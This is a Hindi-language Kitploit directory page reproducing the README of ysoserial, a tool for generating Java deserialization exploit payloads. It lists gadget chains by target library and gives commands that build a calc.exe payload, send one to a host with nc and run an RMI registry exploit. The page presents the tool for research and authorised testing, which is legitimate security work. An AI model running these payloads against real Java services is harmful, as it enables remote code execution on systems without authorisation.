Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ysoserial — एक प्रूफ-ऑफ-कॉन्सेप्ट टूल जो असुरक्षित Java ऑब्जेक्ट deserialization का फायदा उठाने वाले payloads उत्पन्न करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/al1ex/ysoserial
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubal1ex/ysoserial

ysoserial

एक प्रूफ-ऑफ-कॉन्सेप्ट टूल जो असुरक्षित Java ऑब्जेक्ट deserialization का फायदा उठाने वाले payloads उत्पन्न करने के लिए है।

रिपॉजिटरी देखें
221 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

यह असुरक्षित Java ऑब्जेक्ट डिसीरियलाइज़ेशन का फ़ायदा उठाने वाले पेलोड उत्पन्न करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट टूल है।

logo

विवरण

इसे मूल रूप से AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" के हिस्से के रूप में रिलीज़ किया गया था, जिसमें Apache Commons Collections (3.x और 4.x), Spring Beans/Core (4.x), और Groovy (2.3.x) के लिए गैजेट चेन थीं। बाद में इसमें JRE <= 1.7u21 और कई अन्य लाइब्रेरियों के लिए अतिरिक्त गैजेट चेन जोड़ी गईं।

ysoserial उपयोगिताओं और प्रॉपर्टी-ओरिएंटेड प्रोग्रामिंग "गैजेट चेन" का एक संग्रह है जो सामान्य Java लाइब्रेरियों में खोजी गई हैं और जो सही परिस्थितियों में, ऑब्जेक्ट्स का करने वाले Java अनुप्रयोगों का फ़ायदा उठा सकती हैं। मुख्य ड्राइवर प्रोग्राम उपयोगकर्ता द्वारा निर्दिष्ट कमांड लेता है और उसे उपयोगकर्ता द्वारा निर्दिष्ट गैजेट चेन में लपेटता है, फिर इन ऑब्जेक्ट्स को stdout पर सीरियलाइज़ करता है। जब क्लासपाथ पर आवश्यक गैजेट वाला कोई अनुप्रयोग इस डेटा को असुरक्षित रूप से डिसीरियलाइज़ करता है, तो चेन स्वचालित रूप से सक्रिय हो जाती है और कमांड को अनुप्रयोग होस्ट पर निष्पादित करा देती है।

असुरक्षित डिसीरियलाइज़ेशन

यह ध्यान दिया जाना चाहिए कि कमज़ोरी असुरक्षित डिसीरियलाइज़ेशन करने वाले अनुप्रयोग में है, न कि क्लासपाथ पर गैजेट होने में।

अस्वीकरण

यह सॉफ़्टवेयर केवल अकादमिक शोध और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए नहीं है, सिवाय उन स्थितियों के जहाँ स्पष्ट रूप से अधिकृत किया गया हो। प्रोजेक्ट मेंटेनर सॉफ़्टवेयर के दुरुपयोग के लिए ज़िम्मेदार या उत्तरदायी नहीं हैं। ज़िम्मेदारी से उपयोग करें।

उपयोग

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
       Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPClient1         @mbechler
     JRMPClient2         @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

उदाहरण

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

इंस्टॉलेशन

GitHub release

GitHub releases से नवीनतम release jar डाउनलोड करें।

बिल्डिंग

Java 1.7+ और Maven 3.x+ आवश्यक है।

mvn clean package -DskipTests

कोड स्थिति

Build Status Build status

योगदान

  1. इसे फ़ोर्क करें
  2. अपनी feature branch बनाएं (git checkout -b my-new-feature)
  3. अपने बदलाव कमिट करें (git commit -am 'Add some feature')
  4. ब्रांच पर पुश करें (git push origin my-new-feature)
  5. नई Pull Request बनाएं

यह भी देखें

  • Java-Deserialization-Cheat-Sheet: कमजोरियों, टूल्स, ब्लॉग्स/राइट-अप्स आदि के बारे में जानकारी
  • marshalsec: विभिन्न Java डिसीरियलाइज़ेशन फ़ॉर्मेट्स/लाइब्रेरियों के लिए समान प्रोजेक्ट
  • ysoserial.net: .NET डिसीरियलाइज़ेशन के लिए समान प्रोजेक्ट
टूल डाउनलोड करें